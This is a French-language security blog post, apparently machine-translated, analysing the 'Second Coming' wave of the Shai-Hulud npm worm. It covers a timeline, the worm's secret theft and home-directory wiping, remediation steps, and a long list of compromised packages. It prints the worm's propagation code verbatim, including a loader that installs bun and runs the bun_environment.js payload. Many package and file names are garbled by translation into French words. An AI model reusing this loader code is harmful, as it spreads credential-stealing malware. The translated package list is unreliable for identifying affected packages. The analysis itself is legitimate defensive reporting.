C'est un autre lundi matin, je m'assois devant mon ordinateur. Et je vois une pile d'alertes provenant de la dernière heure, signalant des paquets présentant des signes de logiciels malveillants dans notre file d'attente de triage. Je n'ai pas encore fini ma première tasse de café que je vois déjà des indicateurs Shai Hulud. Oh là là, c'est sûrement un faux positif ? Non, bienvenue au lundi, Shai Hulud a encore frappé. Attachez vos ceintures.
Chronologie de la campagne Shai-Hulud
Le moment choisi est remarquable, compte tenu de l'annonce récente de npm selon laquelle il révoquera les jetons classiques le 9 décembre après la vague d'attaques contre la chaîne d'approvisionnement. De nombreux utilisateurs n'ayant toujours pas migré vers la publication sécurisée, l'attaquant a saisi l'occasion pour frapper une dernière fois avant la date limite fixée par npm.
- 27 août - Nous publions notre rapport détaillant la campagne S1ngularity visant plusieurs paquets nx sur npm.
- 16 septembre - L'attaquant frappe à nouveau, lançant la première vague des attaques Shai-Hulud.
- 18 septembre - Nous publions une analyse complémentaire, qui examine plus en détail les particularités techniques de la campagne et le comportement initial de la charge utile.
- 24 novembre - Une deuxième attaque, baptisée « Second Coming » (seconde venue) par les pirates, a lieu juste avant la date limite fixée par npm pour révoquer les anciens jetons.
Qu'est-ce que Shai-Hulud ? : un petit rappel
Shai-Hulud, nommé d'après les gigantesques vers des sables de Dune, dans le cadre du goût de l'attaquant pour le théâtre, est un ver npm autoreproductible conçu pour se propager rapidement dans les environnements de développement compromis. Une fois qu'il a infecté un système, il recherche les secrets exposés tels que les clés API et les jetons à l'aide de TruffleHog et publie tout ce qu'il trouve dans un référentiel GitHub public. Il tente ensuite de pousser de nouvelles copies de lui-même vers npm, ce qui lui permet de se propager dans tout l'écosystème, tout en exfiltrant les données vers l'attaquant. Fidèle à son goût pour le spectaculaire, l'attaquant qualifie cette dernière vague de « seconde venue ».
Différences par rapport à la dernière fois
Cette fois-ci, l'attaque présente quelques différences notables :
- Il installe bun avec le fichier
configuration_bun.jspuis utilise cela pour exécuterbun_environnement.jsqui est le code malveillant proprement dit. - Il crée un référentiel nommé de manière aléatoire avec les données volées, plutôt qu'un nom codé en dur.
- Il infectera jusqu'à 100 paquets npm, contre 20 la dernière fois.
- S'il ne parvient pas à s'authentifier auprès de GitHub ou NPM, il effacera tous les fichiers du répertoire Home des utilisateurs.
Divulgation de secrets
Cette fois-ci, le logiciel malveillant publie également des secrets sur GitHub, avec un nom aléatoire et la description du référentiel :
« Sha1-Hulud : La seconde venue ».
Actuellement, nous voyons 26,3 k référentiels exposés :

Les mêmes erreurs encore commises
En analysant tous ces paquets, nous avons remarqué un certain nombre de paquets compromis qui semblent provenir de la communauté et qui contiennent le code initial de staging dans configuration_bun.js, mais PAS bun_environnement.js qui est le ver Shai Hulud lui-même. Voici le code qui propage le ver dans d'autres paquets :
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}Nous voyons que le bun_environnement.js peut parfois ne pas être regroupé, en fonction de différents facteurs. Il semble que les pirates aient une fois de plus commis des erreurs. Cela semble avoir limité l'impact de l'attaque à ce stade.
Référentiels GitHub compromis
L'équipe AsyncAPI a détecté qu'il existait une branche de son projet CLI, créée juste avant la publication des paquets malveillants, qui déployait une version du malware Shai Hulud.
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Cela suggère que les pirates ont peut-être utilisé une technique similaire à celle qu'ils ont employée pour compromettre Nx à l'origine.
Les entreprises reconnaissent l'incident
Compte tenu de la nature de l'incident, nous avons été très heureux de voir les entreprises reconnaître rapidement ce qui s'était passé, dans des publications de ces entreprises :
Patient zéro
Nous avons détecté les premiers paquets à partir du 24/11/2025 à 3 h 16 min 26 s GMT+0. Il s'agissait des paquets go-template et de 36 paquets provenant de AsyncAPIDe nombreux autres paquets ont rapidement été compromis. Par la suite, ils ont commencé à compromettre les paquets PostHog à 4 h 11 min 55 s GMT+0 le 24 novembre 2025, puis les paquets Postman à 5 h 09 min 25 s GMT+0 le 24 novembre 2025.
Quels sont les paquets concernés ?
Nous avons détecté les paquets suivants compromis par une nouvelle version de Shai Hulud. Au total, ces 492 paquets enregistrent 132 millions de téléchargements par mois :
- @asyncapi/diff
- @asyncapi/nodejs-ws-template
- go-template
- @asyncapi/avro-schema-parser
- @asyncapi/convertisseur
- @asyncapi/dotnet-rabbitmq-template
- @asyncapi/filtres-nunjucks
- @asyncapi/parseur-de-schéma-protobuf
- @asyncapi/problème
- @asyncapi/optimiseur
- @asyncapi/python-paho-template
- @asyncapi/multi-parser
- @asyncapi/bundler
- @asyncapi/php-template
- asyncapi-aperçu
- cloud
- @asyncapi/modelina-cli
- @asyncapi/générateur-assistants
- @asyncapi/java-template
- @asyncapi/composant-react
- @asyncapi/générateur
- @asyncapi/server-api
- @asyncapi/java-spring-template
- @asyncapi/cli
- @asyncapi/composant-web
- @asyncapi/spécifications
- @asyncapi/modelina
- @asyncapi/parser
- @asyncapi/modèle-html
- @asyncapi/go-watermill-template
- @asyncapi/openapi-schema-parser
- @asyncapi/edavisualiser
- @asyncapi/composants-générateurs
- modèle dotnet
- @asyncapi/gardien
- action-github-pour-générateur
- @asyncapi/nodejs-template
- @asyncapi/modèle-markdown
- @quick-start-soft/quick-git-clean-markdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/quick-markdown-translator
- @quick-start-soft/quick-markdown
- test23112222-api
- @asyncapi/générateur-react-sdk
- @quick-start-soft/quick-markdown-compose
- mini-application bouclier de fer
- système-de-facturation-manuelle-miniapp-api
- shinhan-limite-mise au rebut
- @strapbuild/react-native-perspective-image-cropper
- réaction-native-utilisation-modale
- @quick-start-soft/quick-task-refine
- @strapbuild/react-native-date-time-picker
- @strapbuild/react-native-perspective-image-cropper-2
- créer-l'application-Glee
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/studio
- @quick-start-soft/quick-markdown-print
- @quick-start-soft/suppression-rapide-du-fond-d'une-image
- eslint-config-zeallat-base
- corée-zone-administrative-geo-json-util
- @quick-start-soft/traducteur-rapide-de-documents
- axios-constructeur
- nœud post-hog
- @posthog/suivi-des-premiers-événements
- @posthog/plugin-chronomètre-séquence-d'événements
- @posthog/gitub-star-sync-plugin
- plugin-posthog-bonjour-le-monde
- @posthog/bitbucket-release-tracker
- @posthog/plugin-maxmind
- @posthog/plugin-postgres
- @posthog/plugin-twilio
- @posthog/cli
- @posthog/clickhouse
- @posthog/plugin-d'exportation-snowflake
- posthog-react-native-session-replay
- @posthog/drop-events-on-property-plugin
- @posthog/plugin-de-suivi-des-versions-github
- @posthog/icônes
- @posthog/plugin-geoip
- @posthog/plugin-intercom
- @posthog/plugin-unduplicates
- @posthog/react-rrweb-player
- plugin-d'événements-sur-propriété
- @posthog/plugin-d'alerte-d'ingestion
- @posthog/plugin-kinesis
- @posthog/plugin-haut-parleur
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/plugin-cohortes-automatiques
- @posthog/migrator3000-plugin
- @posthog/plugin-pagerduty
- @posthog/plugin-contrib
- @posthog/plugin-sendgrid
- @posthog/plugin-client
- @posthog/rrweb-utils
- @posthog/plugin-taxonomie
- @posthog/plugin-zendesk
- @posthog/netdata-traitement-des-événements
- @posthog/plugin-normaliseur-d'URL
- posthog-docusaurus
- @posthog/plugin-de-normalisation-monétaire
- @posthog/plugin-de-filtrage
- @posthog/plugin-heartbeat
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/plugin-databricks
- @actbase/react-native-kakao-channel
- calcul-prêt-intérêt
- @actbase/react-absolute
- @actbase/react-daum-code postal
- @actbase/react-native-simple-video
- @posthog/core
- @posthog/lemon-ui
- @seung-ju/suivant
- @seung-ju/react-hooks
- posthog-réactif-natif
- @actbase/css-vers-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/réaction-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/agent
- @posthog/plugin-variance
- serveur-bot-discord
- @posthog/rrweb-replay
- @posthog/rrweb-snapshot
- @actbase/serveur-node
- @actbase/react-native-devtools
- @posthog/plugin-server
- @posthog/rrweb-record
- @actbase/native
- @actbase/react-native-less-transformer
- @posthog/rrweb
- posthog-js
- @posthog/serveur-de-développement-web
- @posthog/piscine
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/wizard
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/plugin-abonnés-twitter
- @actbase/react-native-naver-login
- @seung-ju/générateur-d'API-ouverte
- @posthog/rrdom
- @posthog/mode hérisson
- fonctions-worklet-react-native
- session-audio-expo
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/node-keytar
- @postman/tunnel-agent
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-collection-fork
- @postman/postman-mcp-server
- @postman/wdio-junit-reporter
- @postman/icônes-aether
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/ma-lib-angular
- capacitor-plugin-apptrackingios
- achat-de-plugin-condensateur
- historique-d'achat-de-condensateurs
- condensateur-enregistreur-de-voix-wav
- scgs-condensateur-abonnement
- @postman/mcp-ui-client
- plugin-condensateur-scgssigninwithgoogle
- @kvytech/annonce-du-plugin-medusa
- @kvytech/medusa-plugin-avis-sur-les-produits
- medusa-plugin-zalopay
- scgsffcreator
- @kvytech/habbit-e2e-test
- medusa-plugin-journaux
- medusa-plugin-avis-sur-les-produits-kvy
- @kvytech/promotion-du-plugin-medusa
- medusa-plugin-momo
- @kvytech/composants
- Annonce du plugin Medusa
- @kvytech/cli
- @kvytech/medusa-plugin-newsletter
- @kvytech/gestion-des-plugins-medusa
- @kvytech/web
- créer-application-casque-de-sécurité-3
- test-casque-de-sécurité-application
- evm-checkcode-cli
- portail-outils-evm-test
- portail-evm-vérifier-code2
- types-web-htmx
- test-fonderie-application
- types-web-lit
- bun-plugin-httpfile
- open2internet
- vite-plugin-httpfile
- @ensdomains/vite-plugin-i18next-loader
- @ensdomains/liste noire
- @ensdomains/durin
- @ensdomains/renouvellement
- @ensdomains/cypress-metamask
- vérificateur-de-bytecode-cli
- @ensdomains/dnsprovejs
- @ensdomains/ccip-read-dns-gateway
- @ensdomains/ccip-read-cf-worker
- @ensdomains/dnssec-oracle-anchors
- @ensdomains/enregistrements inversés
- @ensdomains/ens-test-env
- @ensdomains/hackathon-registraire
- @ensdomains/widget-de-renouvellement
- codec crypto-addr
- @ensdomains/solsha1
- @ensdomains/analyse-serveur
- @ensdomains/ui
- @ensdomains/test-utils
- @ensdomains/mock
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/casques-de-sécurité-chai-matchers-viem
- @ensdomains/ccip-read-worker-viem
- @zapier/liste-des-navigateurs-zapier
- @zapier/zapier-sdk
- @zapier/stubtree
- zapier-stockage-asynchrone
- @zapier/actions-ai
- @zapier/intégration-mcp
- spectral
- @ensdomains/encodeur-d'adresse
- kit de routage redux
- @ensdomains/eth-ens-namehash
- scripts zapier
- @ensdomains/buffer
- @ensdomains/thorin
- zapier-plateforme-scripting-hérité-exécuteur
- zapier-plateforme-schéma
- @ensdomains/dnssecoraclejs
- zapier-plateforme-noyau
- @ensdomains/contrats-de-résolution-d'op
- @ensdomains/ens-contrats-archivés
- @ensdomains/ensjs
- @ensdomains/enregistreur-de-sous-domaines
- @ensdomains/passerelles-inviolables
- @ensdomains/web3modal
- zapier-plateforme-cli
- @ensdomains/ens-contracts
- @ensdomains/react-ens-address
- @ensdomains/courbearithmétique
- @zapier/secret-scrubber
- @ensdomains/boîte-à-outils-casque-de-sécurité-viem-étendue
- ethereum-ens
- @ensdomains/durin-middleware
- @ensdomains/unicode-confusables
- @ensdomains/ensjs-react
- @ensdomains/content-hash
- @ensdomains/ens-avatar
- @zapier/actions-ai-react
- @zapier/eslint-plugin-zapier
- @ensdomains/contrats-de-résolution-hors-chaîne
- @ensdomains/ens-validation
- @ensdomains/name-wrapper
- @hapheus/n8n-nodes-pgp
- @markvivanco/vérificateur-de-version-d'application
- claude-token-updater
- n8n-nœuds-tmdb
- devstart-cli
- utilisation des compétences
- @mcp-use/inspecteur
- zuper-sdk
- zuper-stream
- @mcp-use/mcp-use
- créer-mcp-utiliser-application
- mcp-utilisation
- @mcp-use/cli
- zuper-cli
- @caretive/caret-cli
- instructions du processeur
- lite-serper-mcp-serveur
- @louisle2/noyau
- jan-navigateur
- symbole boursier exact
- configuration-de-la-bibliothèque-react
- savon orbital
- @orbitgtbelgium/mapbox-gl-dessiner-échelle-rotation-mode
- token.js-fork
- réactif-composant-baliseurs
- @louisle2/cortex-js
- éditeur-de-nébuleuse-orbitale
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/node-soap
- eslint-config-trigo
- @trigo/expressions booléennes
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-lien signé
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- matrice
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- icônes orbitales
- matrice-mongoose
- expressions booléennes
- réactif-élément-invite-inspecteur
- trigo-réagir-application
- @trigo/trigo-hapijs
- @trigo/fsm
- commandement ferroviaire
- @orbitgtbelgium/mapbox-gl-dessiner-couper-mode-polygone
- @trigo/atrix-postgres
- @orbitgtbelgium/curseur-horaire
- @orbitgtbelgium/composants-orbit
- outils-de-dessin-nébuleuse-en-orbite
- typeorm-orbite
- @mparpaillon/connecteur-parse
- @mparpaillon/images chargées
- @commute/données-du-marché
- gitsafe
- @osmanekrem/gestionnaire-d'erreurs
- @commute/bloom
- okta
- designstudiouiux
- itobuz-angular
- @ifelsedeveloper/contrats-de-protocole-svm-idl
- bouton ito
- @dev-blinq/client_cucumber
- blinqio-exécutions-cli
- itobuz-auth-angular
- @dev-blinq/ai-qa-logic
- axios-chronométré
- réaction-native-courriel
- tenace-récupération
- port de mise à mort
- Jacob Zuma
- luno-api
- @lessondesk/eslint-config
- tri par distance
- juste chaud
- image-vers-uri
- réaction-native-appel-téléphonique
- formik-erreur-focus
- liaisons jQuery
- @lessondesk/babel-preset
- css minimaliste
- coinmarketcap-api
- licence-o-matic
- @varsityvibe/api-client
- pico-uid
- hyperthermie-hipster
- définir-propriété-imbriquée
- octets-vers-x
- nom-de-la-branche-à-appliquer
- fittxt
- obtenir-leurs-arguments
- réaction-native-récupérable-récupération
- svelte-autocomplete-select
- fonctionnalité-flip
- image-étagée-de-peluches
- react-native-view-finder
- formik-boutique
- shell-exec
- niveau-de-journalisation-react-native
- @everreal/analyse-web
- icônes react-native-jam
- @thedelta/eslint-config
- plugin-colis-copieur-d'actifs
- réactif-natif-websocket
- ra-données-firebase
- réact-jam-icônes
- réaction-native-récupération
- @ifings/système-de-conception
- plugin-gatsby-cname
- @alexcolls/nuxt-ux
- réactif-natif-sélecteur-de-date-modal
- non défini de type
- téléchargements-d'extensions-chrome
- socket.io
- chercheur flou
- numéro-d'enregistrement-de-la-société-sa-regex
- empilements de volets
- réaction-keycloak-contexte
- réagir-qr-image
- @tiaanduplessis/réaction-barre de progression
- @lessondesk/bus scolaire
- @tiaanduplessis/json
- réagir-natif-obtenir-dimensions-pixel
- nanoreset
- prochaine-dépendance-circulaire
- encodage-décodage d'URL
- axios-annulable
- comparer-obj
- wenk
- client-api-haufe-axera
- obj-to-css
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/schémas-de-validation
- aplatir-désaplatir
- stoor
- @clausehq/flux-étape-jsontoxml
- @accordproject/analyse-de-concerto
- espoir-mapboxdessin
- compte à rebours
- espoir
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/plugin-synchronisation-navigateur
- générateur-météore-stock
- @fishingbooker/react-loader
- benmostyn-cadre-impression
- @fishingbooker/réaction-pagination
- @voiceflow/anthropique
- @voiceflow/types-de-voix
- @voiceflow/wrappers-par-défaut-pour-les-invites
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/test-commun
- @voiceflow/husky-config
- @voiceflow/commitlint-config
- @voiceflow/vérification-de-la-branche-git
- magasin normal
- @voiceflow/prettier-config
- @voiceflow/stylelint-config
- vf-oss-modèle
- @voiceflow/storybook-config
- @voiceflow/verror
- @voiceflow/alexa-types
- @voiceflow/nestjs-timeout
- @voiceflow/plugin-sans-serveur-typescript
- @voiceflow/types-de-voiceflow
- étagère-jwt-sessions
- @hover-design/react
- @voiceflow/types-de-base
- @voiceflow/eslint-config
- @voiceflow/récupérer
- @voiceflow/commun
- @voiceflow/eslint-plugin
- @voiceflow/exception
- @voiceflow/dtos-interact
- @voiceflow/google-types
- @voiceflow/nestjs-common
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-limite-de-débit
- @voiceflow/openai
- dialogflow-es
- @voiceflow/widget
- arc-cli-fc
- réducteur composite
- adaptateur bidirectionnel
- @antstackio/express-graphql-proxy
- @antstackio/json-vers-graphql
- @voiceflow/parseur-de-corps
- @voiceflow/logger
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-composant/noyau
- @pruthvi21/utiliser-debounce
- @voiceflow/api-sdk
- @hover-design/core
- @faq-composant/react
- @voiceflow/configuration-de-la-version-sémantique
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/backend-utils
- @voiceflow/slate-serializer
- @voiceflow/google-dfes-types
- n8n-nœuds-application-virale
- @accordproject/markdown-docx
- @clausehq/flux-étape-sendgridemail
- @lpdjs/service-de-référentiel-firestore
- @trefox/sleekshop-js
- invo
- jsonsurge
- mon-package-react-typescript
- rediff
- solomon-api-histoires
- solomon-v3-histoires
- solomon-v3-interface-utilisateur-enveloppe
- tcsp-dessiner-test
- uplandui
Impact potentiel de Shai-Hulud : seconde venue
Des acteurs malveillants ont introduit du code malveillant dans des centaines de paquets NPM, notamment ceux de Zapier, ENS, AsyncAPI, PostHog, Browserbase et Postman. Si un développeur installe l'un de ces paquets malveillants, le logiciel malveillant s'exécute discrètement pendant l'installation, avant même que celle-ci ne soit terminée. Cela lui donne accès à la machine, aux systèmes de compilation ou cloud du développeur. Il utilise ensuite un outil automatisé (TruffleHog) pour rechercher des informations sensibles telles que des mots de passe, des clés API, cloud et des identifiants GitHub ou NPM. Tout ce qu'il trouve est téléchargé vers un référentiel GitHub public intitulé « Sha1-Hulud : The Second Coming ». Si ces secrets volés comprennent l'accès à des référentiels de code ou à des registres de paquets, les attaquants peuvent les utiliser pour pirater davantage de comptes et publier davantage de paquets malveillants, contribuant ainsi à propager l'attaque. Étant donné que des écosystèmes de confiance ont été impliqués et que des millions de téléchargements sont concernés, toute équipe utilisant NPM doit immédiatement vérifier si elle a été touchée et changer toutes les informations d'identification qui auraient pu être divulguées.
Quelles mesures les équipes de sécurité doivent-elles prendre ?
- Auditer toutes les dépendances et versions npm liées à Zapier/ENS.
- Faites tourner tous les secrets GitHub, npm, cloud et CI/CD utilisés pendant les installations.
- Consultez GitHub pour trouver des dépôts étranges avec la description « Sha1-Hulud : The Second Coming ».
- Désactiver npm
post-installationscripts dans CI lorsque cela est possible. - Verrouillez les versions des paquets et imposez l'authentification multifactorielle (MFA) sur les comptes GitHub et npm.
- Utilisez des outils tels que Safe-Chain pour bloquer les paquets malveillants sur NPM.
Sécurisez votre logiciel dès maintenant.



.avif)
